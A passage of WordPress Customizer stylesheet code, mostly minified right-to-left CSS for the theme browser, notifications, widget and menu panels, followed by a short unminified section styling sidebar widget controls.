iframe+iframe{visibility:hidden}.wp-full-overlay-sidebar{background:#f0f0f1;border-left:1px solid #dcdcde}#customize-controls .customize-control-notifications-container{margin:4px 0 8px;padding:0;cursor:default}#customize-controls .customize-control-widget_form.has-error .widget .widget-top,.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle{box-shadow:inset 0 0 0 2px #d63638;transition:.15s box-shadow linear}#customize-controls .customize-control-notifications-container li.notice{list-style:none;margin:0 0 6px;padding:9px 14px;overflow:hidden}#customize-controls .customize-control-notifications-container .notice.is-dismissible{padding-left:38px}.customize-control-notifications-container li.notice:last-child{margin-bottom:0}#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container{margin-top:0}#customize-controls .customize-control-widget_form .customize-control-notifications-container{margin-top:8px}.customize-control-text.has-error input{outline:2px solid #d63638}#customize-controls #customize-notifications-area{position:absolute;top:46px;width:100%;border-bottom:1px solid #dcdcde;display:block;padding:0;margin:0}.wp-full-overlay.collapsed #customize-controls #customize-notifications-area{display:none!important}#customize-controls #customize-notifications-area:not(.has-overlay-notifications),#customize-controls .customize-section-title>.customize-control-notifications-container:not(.has-overlay-notifications),#customize-controls .panel-meta>.customize-control-notifications-container:not(.has-overlay-notifications){max-height:210px;overflow-x:hidden;overflow-y:auto}#customize-controls #customize-notifications-area .notice,#customize-controls #customize-notifications-area>ul,#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container .notice{margin:0}#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container{border-top:1px solid #dcdcde}#customize-controls #customize-notifications-area .notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice{padding:9px 14px}#customize-controls #customize-notifications-area .notice.is-dismissible,#customize-controls .customize-section-title>.customize-control-notifications-container .notice.is-dismissible,#customize-controls .panel-meta>.customize-control-notifications-container .notice.is-dismissible{padding-left:38px}#customize-controls #customize-notifications-area .notice+.notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice+.notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice+.notice{margin-top:1px}@keyframes customize-fade-in{0%{opacity:0}100%{opacity:1}}#customize-controls #customize-notifications-area .notice.notification-overlay,#customize-controls .notice.notification-overlay{margin:0;border-right:0}#customize-controls .customize-control-notifications-container.has-overlay-notifications{animation:customize-fade-in .5s;z-index:30}#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message{clear:both;color:#1d2327;font-size:18px;font-style:normal;margin:0;padding:2em 0;text-align:center;width:100%;display:block;top:50%;position:relative}#customize-control-show_on_front.has-error{margin-bottom:0}#customize-control-show_on_front.has-error .customize-control-notifications-container{margin-top:12px}.accordion-section .dropdown{float:right;display:block;position:relative;cursor:pointer}.accordion-section .dropdown-content{overflow:hidden;float:right;min-width:30px;height:16px;line-height:16px;margin-left:16px;padding:4px 5px;border:2px solid #f0f0f1;-webkit-user-select:none;user-select:none}.customize-control .dropdown-arrow{position:absolute;top:0;bottom:0;left:0;width:20px;background:#f0f0f1}.customize-control .dropdown-arrow:after{content:"\f140";font:normal 20px/1 dashicons;speak:never;display:block;padding:0;text-indent:0;text-align:center;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#2c3338}.customize-control .dropdown-status{color:#2c3338;background:#f0f0f1;display:none;max-width:112px}.customize-control-color .dropdown{margin-left:5px;margin-bottom:5px}.customize-control-color .dropdown .dropdown-content{background-color:#50575e;border:1px solid rgba(0,0,0,.15)}.customize-control-color .dropdown:hover .dropdown-content{border-color:rgba(0,0,0,.25)}.ios .wp-full-overlay{position:relative}.ios #customize-controls .wp-full-overlay-sidebar-content{-webkit-overflow-scrolling:touch}.customize-control .actions .button{margin-top:12px}.customize-control-header .actions,.customize-control-header .uploaded{margin-bottom:18px}.customize-control-header .default button:not(.random),.customize-control-header .uploaded button:not(.random){width:100%;padding:0;margin:0;background:0 0;border:none;color:inherit;cursor:pointer}.customize-control-header button img{display:block}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control .attachment-media-view .upload-button,.customize-control-header button.new,.customize-control-header button.remove{width:auto;height:auto;white-space:normal}.customize-control .attachment-media-view .thumbnail,.customize-control-header .current .container{overflow:hidden}.customize-control .attachment-media-view .button-add-media,.customize-control .attachment-media-view .placeholder,.customize-control-header .placeholder{width:100%;position:relative;text-align:center;cursor:default;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6}.customize-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.customize-control .attachment-media-view .button-add-media:hover{background-color:#fff}.customize-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.customize-control-header .inner{display:none;position:absolute;width:100%;color:#50575e;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.customize-control-header .inner,.customize-control-header .inner .dashicons{line-height:20px;top:8px}.customize-control-header .list .inner,.customize-control-header .list .inner .dashicons{top:9px}.customize-control-header .header-view{position:relative;width:100%;margin-bottom:12px}.customize-control-header .header-view:last-child{margin-bottom:0}.customize-control-header .header-view:after{border:0}.customize-control-header .header-view.selected .choice:focus{outline:0}.customize-control-header .header-view.selected:after{content:"";position:absolute;height:auto;top:0;right:0;bottom:0;left:0;border:4px solid #72aee6;border-radius:2px}.customize-control-header .header-view.button.selected{border:0}.customize-control-header .uploaded .header-view .close{font-size:20px;color:#fff;background:#50575e;background:rgba(0,0,0,.5);position:absolute;top:10px;right:-999px;z-index:1;width:26px;height:26px;cursor:pointer}.customize-control-header .header-view .close:focus,.customize-control-header .header-view:hover .close{right:auto;left:10px}.customize-control-header .header-view .close:focus{outline:1px solid #4f94d4}.customize-control-header .random.placeholder{cursor:pointer;border-radius:2px;height:40px}.customize-control-header button.random{width:100%;height:auto;min-height:40px;white-space:normal}.customize-control-header button.random .dice{margin-top:4px}.customize-control-header .header-view:hover>button.random .dice,.customize-control-header .placeholder:hover .dice{animation:dice-color-change 3s infinite}.button-see-me{animation:bounce .7s 1;transform-origin:center bottom}@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-12px,0)}70%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-6px,0)}90%{transform:translate3d(0,-1px,0)}}.customize-control-header .choice{position:relative;display:block;margin-bottom:9px}.customize-control-header .choice:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.customize-control-header .uploaded div:last-child>.choice{margin-bottom:0}.customize-control .attachment-media-view .thumbnail-image img,.customize-control-header img{max-width:100%}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control-header .remove{margin-left:8px}.customize-control-background_position .background-position-control .button-group{display:block}.customize-control-code_editor textarea{width:100%;font-family:Consolas,Monaco,monospace;font-size:12px;padding:6px 8px;tab-size:2}.customize-control-code_editor .CodeMirror,.customize-control-code_editor textarea{height:14em}#customize-controls .customize-section-description-container.section-meta.customize-info{border-bottom:none}#sub-accordion-section-custom_css .customize-control-notifications-container{margin-bottom:15px}#customize-control-custom_css textarea{display:block;height:500px}.customize-section-description-container+#customize-control-custom_css .customize-control-title{margin-right:12px}.customize-section-description-container+#customize-control-custom_css:last-child textarea{border-left:0;border-right:0;height:calc(100vh - 185px);resize:none}.customize-section-description-container+#customize-control-custom_css:last-child{margin-right:-12px;width:299px;width:calc(100% + 24px);margin-bottom:-12px}.customize-section-description-container+#customize-control-custom_css:last-child .CodeMirror{height:calc(100vh - 185px)}.CodeMirror-hints,.CodeMirror-lint-tooltip{z-index:500000!important}.customize-section-description-container+#customize-control-custom_css:last-child .customize-control-notifications-container{margin-right:12px;margin-left:12px}.theme-browser .theme.active .theme-actions,.wp-customizer .theme-browser .theme .theme-actions{padding:9px 15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}@media screen and (max-width:640px){.customize-section-description-container+#customize-control-custom_css:last-child{margin-left:0}.customize-section-description-container+#customize-control-custom_css:last-child textarea{height:calc(100vh - 140px)}}#customize-theme-controls .control-panel-themes{border-bottom:none}#customize-theme-controls .control-panel-themes>.accordion-section-title,#customize-theme-controls .control-panel-themes>.accordion-section-title:hover{cursor:default;background:#fff;color:#50575e;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;border-right:none;border-left:none;margin:0 0 15px;padding-left:100px}#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child,#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover{border-top:0}#customize-theme-controls .control-section-themes>.accordion-section-title,#customize-theme-controls .control-section-themes>.accordion-section-title:hover{margin:0 0 15px}#customize-controls .customize-themes-panel .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title:hover{margin:15px -8px}#customize-controls .control-section-themes .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title{padding-left:100px}#customize-controls .control-section-themes .accordion-section-title span.customize-action,#customize-controls .customize-section-title span.customize-action,.control-panel-themes .accordion-section-title span.customize-action{font-size:13px;display:block;font-weight:400}#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme{position:absolute;left:10px;top:50%;margin-top:-14px;font-weight:400}#customize-notifications-area .notification-message button.switch-to-editor{display:block;margin-top:6px;font-weight:400}#customize-theme-controls .control-panel-themes>.accordion-section-title:after{display:none}.control-panel-themes .customize-themes-full-container{position:fixed;top:0;right:0;transition:.18s right ease-in-out;margin:0 300px 0 0;padding:71px 0 25px;overflow-y:scroll;width:calc(100% - 300px);height:calc(100% - 96px);background:#f0f0f1;z-index:20}@media (prefers-reduced-motion:reduce){.control-panel-themes .customize-themes-full-container{transition:none}}@media screen and (min-width:1670px){.control-panel-themes .customize-themes-full-container{width:82%;left:0;right:initial}}.modal-open .control-panel-themes .customize-themes-full-container{overflow-y:visible}#customize-header-actions .customize-controls-preview-toggle,#customize-header-actions .spinner,#customize-save-button-wrapper{transition:.18s margin ease-in-out}#customize-footer-actions,#customize-footer-actions .collapse-sidebar{bottom:0;transition:.18s bottom ease-in-out}.in-themes-panel:not(.animating) #customize-footer-actions,.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel:not(.animating) #customize-header-actions .spinner,.in-themes-panel:not(.animating) #customize-preview{visibility:hidden}.wp-full-overlay.in-themes-panel{background:#f0f0f1}.in-themes-panel #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel #customize-header-actions .spinner,.in-themes-panel #customize-save-button-wrapper{margin-top:-46px}.in-themes-panel #customize-footer-actions,.in-themes-panel #customize-footer-actions .collapse-sidebar{bottom:-45px}.in-themes-panel.animating .control-panel-themes .filter-themes-count{display:none}.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content{bottom:0}.themes-filter-bar .feature-filter-toggle{float:left;margin:3px 25px 3px 0}.themes-filter-bar .feature-filter-toggle:before{content:"\f111";margin:0 0 0 5px;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .feature-filter-toggle.open{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.themes-filter-bar .feature-filter-toggle .filter-count-filters{display:none}.filter-drawer{box-sizing:border-box;width:100%;position:absolute;top:46px;right:0;padding:25px 25px 25px 0;border-top:0;margin:0;background:#f0f0f1;border-bottom:1px solid #dcdcde}.filter-drawer .filter-group{margin:0 0 0 25px;width:calc((100% - 75px)/ 3);min-width:200px;max-width:320px}@keyframes themes-fade-in{0%{opacity:0}50%{opacity:0}100%{opacity:1}}.control-panel-themes .customize-themes-full-container.animate{animation:.6s themes-fade-in 1}.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count{animation:.6s themes-fade-in 1}.control-panel-themes .filter-themes-count{position:relative;float:left;line-height:2.6}.control-panel-themes .filter-themes-count .themes-displayed{font-weight:600;color:#50575e}.customize-themes-notifications{margin:0}.control-panel-themes .customize-themes-notifications .notice{margin:0 0 25px}.customize-themes-full-container .customize-themes-section{display:none!important;overflow:hidden}.customize-themes-full-container .customize-themes-section.current-section{display:list-item!important}.control-section .customize-section-text-before{padding:0 15px 8px 0;margin:15px 0 0;line-height:16px;border-bottom:1px solid #dcdcde;color:#50575e}.control-panel-themes .customize-themes-section-title{width:100%;background:#fff;box-shadow:none;outline:0;border-top:none;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;border-left:none;cursor:pointer;padding:10px 15px;position:relative;text-align:right;font-size:14px;font-weight:600;color:#50575e;text-shadow:none}.control-panel-themes #accordion-section-installed_themes{border-top:1px solid #dcdcde}.control-panel-themes .theme-section{margin:0;position:relative}.control-panel-themes .customize-themes-section-title:focus,.control-panel-themes .customize-themes-section-title:hover{border-right-color:#2271b1;color:#2271b1;background:#f6f7f7}.customize-themes-section-title:not(.selected):after{content:"";display:block;position:absolute;top:9px;left:15px;width:18px;height:18px;border-radius:100%;border:1px solid #c3c4c7;background:#fff}.control-panel-themes .theme-section .customize-themes-section-title.selected:after{content:"\f147";font:16px/1 dashicons;box-sizing:border-box;width:20px;height:20px;padding:3px 1px 1px 3px;border-radius:100%;position:absolute;top:9px;left:15px;background:#2271b1;color:#fff}.control-panel-themes .customize-themes-section-title.selected{color:#2271b1}#customize-theme-controls .themes.accordion-section-content{position:relative;right:0;padding:0;width:100%}.loading .customize-themes-section .spinner{display:block;visibility:visible;position:relative;clear:both;width:20px;height:20px;right:calc(50% - 10px);float:none;margin-top:50px}.customize-themes-section .no-themes,.customize-themes-section .no-themes-local{display:none}.themes-section-installed_themes .theme .notice-success:not(.updated-message){display:none}.customize-control-theme .theme{width:100%;margin:0;border:1px solid #dcdcde;background:#fff}.customize-control-theme .theme .theme-actions,.customize-control-theme .theme .theme-name{background:#fff;border:none}.customize-control.customize-control-theme{box-sizing:border-box;width:25%;max-width:600px;margin:0 0 25px 25px;padding:0;clear:none}@media screen and (min-width:2101px){.customize-control.customize-control-theme{width:calc((100% - 125px)/ 5 - 1px)}}@media screen and (min-width:1601px) and (max-width:2100px){.customize-control.customize-control-theme{width:calc((100% - 100px)/ 4 - 1px)}}@media screen and (min-width:1201px) and (max-width:1600px){.customize-control.customize-control-theme{width:calc((100% - 75px)/ 3 - 1px)}}@media screen and (min-width:851px) and (max-width:1200px){.customize-control.customize-control-theme{width:calc((100% - 50px)/ 2 - 1px)}}@media screen and (max-width:850px){.customize-control.customize-control-theme{width:100%}}.wp-customizer .theme-browser .themes{padding:0 25px 25px 0;transition:.18s margin-top linear}.wp-customizer .theme-browser .theme .theme-actions{opacity:1}#customize-controls h3.theme-name{font-size:15px}#customize-controls .theme-overlay .theme-name{font-size:32px}.customize-preview-header.themes-filter-bar{position:fixed;top:0;right:300px;width:calc(100% - 300px);height:46px;background:#f0f0f1;z-index:10;padding:6px 25px;box-sizing:border-box;border-bottom:1px solid #dcdcde}@media screen and (min-width:1670px){.customize-preview-header.themes-filter-bar{width:82%;left:0;right:initial}}.themes-filter-bar .themes-filter-container{margin:0;padding:0}.themes-filter-bar .wp-filter-search{line-height:1.8;padding:6px 30px 6px 10px;max-width:100%;width:40%;min-width:300px;position:absolute;top:6px;right:25px;height:32px;margin:1px 0}@media screen and (max-height:540px),screen and (max-width:1018px){.customize-preview-header.themes-filter-bar{position:relative;right:0;width:100%;margin:0 0 25px}.filter-drawer{top:46px}.wp-customizer .theme-browser .themes{padding:0 25px 25px 0;overflow:hidden}.control-panel-themes .customize-themes-full-container{margin-top:0;padding:0;height:100%;width:calc(100% - 300px)}}@media screen and (max-width:1018px){.filter-drawer .filter-group{width:calc((100% - 50px)/ 2)}}@media screen and (max-width:900px){.customize-preview-header.themes-filter-bar{height:86px;padding-top:46px}.themes-filter-bar .wp-filter-search{width:calc(100% - 50px);margin:0;min-width:200px}.filter-drawer{top:86px}.control-panel-themes .filter-themes-count{float:right}}@media screen and (max-width:792px){.filter-drawer .filter-group{width:calc(100% - 25px)}}.control-panel-themes .customize-themes-mobile-back{display:none}@media screen and (max-width:600px){.filter-drawer{top:132px}.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes{display:block;float:left}.control-panel-themes .customize-themes-full-container{width:100%;margin:0;padding-top:46px;height:calc(100% - 46px);z-index:1;display:none}.showing-themes .control-panel-themes .customize-themes-full-container{display:block}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back{display:block;position:fixed;top:0;right:0;background:#f0f0f1;color:#3c434a;border-radius:0;box-shadow:none;border:none;height:46px;width:100%;z-index:10;text-align:right;text-shadow:none;border-bottom:1px solid #dcdcde;border-right:4px solid transparent;margin:0;padding:0;font-size:0;overflow:hidden}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before{right:0;top:0;height:46px;width:26px;display:block;line-height:2.3;padding:0 8px;border-left:1px solid #dcdcde}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus,.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover{color:#2271b1;background:#f6f7f7;border-right-color:#2271b1;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.showing-themes #customize-header-actions{display:none}#customize-controls{width:100%}}.wp-customizer .theme-overlay{display:none}.wp-customizer.modal-open .theme-overlay{position:fixed;right:0;top:0;left:0;bottom:0;z-index:109}.wp-customizer.modal-open #customize-header-actions,.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after,.wp-customizer.modal-open .control-panel-themes .filter-themes-count{z-index:-1}.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-overlay .theme-backdrop{background:rgba(240,240,241,.75);position:fixed;z-index:110}.wp-customizer .theme-overlay .star-rating{float:right;margin-left:8px}.wp-customizer .theme-rating .num-ratings{line-height:20px}.wp-customizer .theme-overlay .theme-wrap{right:90px;left:90px;top:45px;bottom:45px;z-index:120}.wp-customizer .theme-overlay .theme-actions{text-align:left;padding:10px 25px 5px;background:#f0f0f1;border-top:1px solid #dcdcde}.wp-customizer .theme-overlay .theme-actions .theme-install.preview{margin-right:8px}.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-header{background:#f0f0f1}.wp-customizer .theme-overlay .theme-header .close:before,.wp-customizer .theme-overlay .theme-header button{color:#3c434a}.wp-customizer .theme-overlay .theme-header .close:focus,.wp-customizer .theme-overlay .theme-header .close:hover,.wp-customizer .theme-overlay .theme-header .left:focus,.wp-customizer .theme-overlay .theme-header .left:hover,.wp-customizer .theme-overlay .theme-header .right:focus,.wp-customizer .theme-overlay .theme-header .right:hover{background:#fff;border-bottom:4px solid #2271b1;color:#2271b1}.wp-customizer .theme-overlay .theme-header .close:focus:before,.wp-customizer .theme-overlay .theme-header .close:hover:before{color:#2271b1}.wp-customizer .theme-overlay .theme-header button.disabled,.wp-customizer .theme-overlay .theme-header button.disabled:focus,.wp-customizer .theme-overlay .theme-header button.disabled:hover{border-bottom:none;background:0 0;color:#c3c4c7}@media (max-width:850px),(max-height:472px){.wp-customizer .theme-overlay .theme-wrap{right:0;left:0;top:0;bottom:0}.wp-customizer .theme-browser .themes{padding-left:25px}}body.cheatin{font-size:medium;height:auto;background:#fff;border:1px solid #c3c4c7;margin:50px auto 2em;padding:1em 2em;max-width:700px;min-width:0;box-shadow:0 1px 1px rgba(0,0,0,.04)}body.cheatin h1{border-bottom:1px solid #dcdcde;clear:both;color:#50575e;font-size:24px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:30px 0 0;padding:0 0 7px}body.cheatin p{font-size:14px;line-height:1.5;margin:25px 0 20px}#customize-theme-controls .add-new-menu-item,#customize-theme-controls .add-new-widget{cursor:pointer;float:left;margin:0 10px 0 0;transition:all .2s;-webkit-user-select:none;user-select:none;outline:0}.reordering .add-new-menu-item,.reordering .add-new-widget{opacity:.2;pointer-events:none;cursor:not-allowed}#available-menu-items .new-content-item .add-content:before,.add-new-menu-item:before,.add-new-widget:before{content:"\f132";display:inline-block;position:relative;right:-2px;top:0;font:normal 20px/1 dashicons;vertical-align:middle;transition:all .2s;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.reorder-toggle{float:left;padding:5px 8px;text-decoration:none;cursor:pointer;outline:0}.reorder,.reordering .reorder-done{display:block;padding:5px 8px}.reorder-done,.reordering .reorder{display:none}.menu-item-reorder-nav button,.widget-reorder-nav span{position:relative;overflow:hidden;float:right;display:block;width:33px;height:43px;color:#8c8f94;text-indent:-9999px;cursor:pointer;outline:0}.menu-item-reorder-nav button{width:30px;height:40px;background:0 0;border:none;box-shadow:none}.menu-item-reorder-nav button:before,.widget-reorder-nav span:before{display:inline-block;position:absolute;top:0;left:0;width:100%;height:100%;font:normal 20px/43px dashicons;text-align:center;text-indent:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-reorder-nav button:focus,.menu-item-reorder-nav button:hover,.widget-reorder-nav span:focus,.widget-reorder-nav span:hover{color:#1d2327;background:#f0f0f1}.menus-move-down:before,.move-widget-down:before{content:"\f347"}.menus-move-up:before,.move-widget-up:before{content:"\f343"}#customize-theme-controls .first-widget .move-widget-up,#customize-theme-controls .last-widget .move-widget-down,.move-down-disabled .menus-move-down,.move-left-disabled .menus-move-left,.move-right-disabled .menus-move-right,.move-up-disabled .menus-move-up{color:#dcdcde;background-color:#fff;cursor:default;pointer-events:none}.wp-full-overlay-main{left:auto;width:100%}.add-menu-toggle.open,.add-menu-toggle.open:hover,.adding-menu-items .add-new-menu-item,.adding-menu-items .add-new-menu-item:hover,body.adding-widget .add-new-widget,body.adding-widget .add-new-widget:hover{background:#f0f0f1;border-color:#8c8f94;color:#2c3338;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#accordion-section-add_menu .add-new-menu-item.open:before,.adding-menu-items .add-new-menu-item:before,body.adding-widget .add-new-widget:before{transform:rotate(-45deg)}#available-menu-items,#available-widgets{position:absolute;top:0;bottom:0;right:-301px;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:300px;margin:0;z-index:4;background:#f0f0f1;transition:right .18s;border-left:1px solid #dcdcde}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{display:none}#available-widgets-list{top:60px;position:absolute;overflow:auto;bottom:0;width:100%;border-top:1px solid #dcdcde}.no-widgets-found #available-widgets-list{border-top:none}#available-widgets-filter{position:fixed;top:0;z-index:1;width:300px;background:#f0f0f1}#available-menu-items-search .accordion-section-title,#available-widgets-filter{padding:13px 15px;box-sizing:border-box}#available-menu-items-search input,#available-widgets-filter input{width:100%;min-height:32px;margin:1px 0;padding:0 30px}#available-menu-items-search input::-ms-clear,#available-widgets-filter input::-ms-clear{display:none}#available-menu-items-search .search-icon,#available-widgets-filter .search-icon{display:block;position:absolute;top:15px;right:16px;width:30px;height:30px;line-height:2.1;text-align:center;color:#646970}#available-menu-items-search .clear-results,#available-widgets-filter .clear-results{position:absolute;top:15px;left:16px;width:30px;height:30px;padding:0;border:0;cursor:pointer;background:0 0;color:#d63638;text-decoration:none;outline:0}#available-menu-items-search .clear-results,#available-menu-items-search.loading .clear-results.is-visible,#available-widgets-filter .clear-results{display:none}#available-menu-items-search .clear-results.is-visible,#available-widgets-filter .clear-results.is-visible{display:block}#available-menu-items-search .clear-results:before,#available-widgets-filter .clear-results:before{content:"\f335";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-menu-items-search .clear-results:focus,#available-menu-items-search .clear-results:hover,#available-widgets-filter .clear-results:focus,#available-widgets-filter .clear-results:hover{color:#d63638}#available-menu-items-search .clear-results:focus,#available-widgets-filter .clear-results:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}#available-menu-items-search .search-icon:after,#available-widgets-filter .search-icon:after,.themes-filter-bar .search-icon:after{content:"\f179";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .search-icon{position:absolute;top:7px;right:26px;z-index:1;color:#646970;height:30px;width:30px;line-height:2;text-align:center}.no-widgets-found-message{display:none;margin:0;padding:0 15px;line-height:inherit}.no-widgets-found .no-widgets-found-message{display:block}#available-menu-items .item-top,#available-menu-items .item-top:hover,#available-widgets .widget-top,#available-widgets .widget-top:hover{border:none;background:0 0;box-shadow:none}#available-menu-items .item-tpl,#available-widgets .widget-tpl{position:relative;padding:15px 60px 15px 15px;background:#fff;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;cursor:pointer;display:none}#available-menu-items .item,#available-widgets .widget{position:static}.customize-controls-preview-toggle{display:none}@media only screen and (max-width:782px){.wp-customizer .theme:not(.active):focus .theme-actions,.wp-customizer .theme:not(.active):hover .theme-actions{display:block}.wp-customizer .theme-browser .theme.active .theme-name span{display:inline}.customize-control-header button.random .dice{margin-top:0}.customize-control-checkbox .customize-inside-control-row,.customize-control-nav_menu_auto_add .customize-inside-control-row,.customize-control-radio .customize-inside-control-row{margin-right:32px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-right:-32px}.customize-control input[type=checkbox]+label+br,.customize-control input[type=radio]+label+br{line-height:2.5}.customize-control .date-time-fields select{height:39px}.date-time-fields .date-input.month{width:79px}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:55px}.date-time-fields .date-input.year{width:80px}#customize-control-changeset_preview_link a{bottom:16px}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{bottom:10px}.media-widget-control .media-widget-buttons .button.change-media,.media-widget-control .media-widget-buttons .button.edit-media,.media-widget-control .media-widget-buttons .button.select-media{margin-top:12px}.wp-core-ui .themes-filter-bar .feature-filter-toggle{margin:3px 25px 3px 0}}@media screen and (max-width:1200px){.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main{right:67%}}@media screen and (max-width:640px){.wp-full-overlay.collapsed #customize-controls{margin-right:0}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{bottom:0}.customize-controls-preview-toggle{display:block;position:absolute;top:0;right:48px;line-height:2.6;font-size:14px;padding:0 12px 4px;margin:0;height:45px;background:#f0f0f1;border:0;border-left:1px solid #dcdcde;border-top:4px solid #f0f0f1;color:#50575e;cursor:pointer;transition:color .1s ease-in-out,background .1s ease-in-out}#customize-footer-actions,.customize-controls-preview-toggle .controls,.preview-only .customize-controls-preview-toggle .preview,.preview-only .wp-full-overlay-sidebar-content{display:none}.preview-only #customize-save-button-wrapper{margin-top:-46px}.customize-controls-preview-toggle .controls:before,.customize-controls-preview-toggle .preview:before{font:normal 20px/1 dashicons;content:"\f177";position:relative;top:4px;margin-left:6px}.customize-controls-preview-toggle .controls:before{content:"\f540"}.preview-only #customize-controls{height:45px}.preview-only #customize-preview,.preview-only .customize-controls-preview-toggle .controls{display:block}.wp-core-ui.wp-customizer .button{min-height:30px;padding:0 14px;line-height:2;font-size:14px;vertical-align:middle}#customize-control-changeset_status .customize-inside-control-row{padding-top:15px}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{width:100%}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{display:block;margin:0}#available-menu-items .customize-section-back,#available-widgets .customize-section-back{height:69px}#available-menu-items .customize-section-title h3,#available-widgets .customize-section-title h3{font-size:20px;font-weight:200;padding:9px 14px 12px 10px;margin:0;line-height:24px;color:#50575e;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-menu-items .customize-section-title .customize-action,#available-widgets .customize-section-title .customize-action{font-size:13px;display:block;font-weight:400;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-widgets-filter{position:relative;width:100%;height:auto}#available-widgets-list{top:130px}#available-menu-items-search .clear-results,#available-menu-items-search .search-icon{top:85px}.reorder,.reordering .reorder-done{padding:8px}.wp-core-ui .themes-filter-bar .feature-filter-toggle{margin:0}}@media screen and (max-width:600px){.wp-full-overlay.expanded{margin-right:0}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{top:46px;z-index:10}body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content{right:-100%}body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{right:0}}.wp-full-overlay-sidebar {
	overflow: visible;
}

/**
 * Hide all sidebar sections by default, only show them (via JS) once the
 * preview loads and we know whether the sidebars are used in the template.
 */

.control-section.control-section-sidebar,
.customize-control-sidebar_widgets label,
.customize-control-sidebar_widgets .hide-if-js {
	/* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */
	display: none;
}

.control-section.control-section-sidebar .accordion-section-content.ui-sortable {
	overflow: visible;
}

/* Note: widget-tops are more compact when (max-height: 700px) and (min-width: 981px). */
.customize-control-widget_form .widget-top {
	background: #fff;
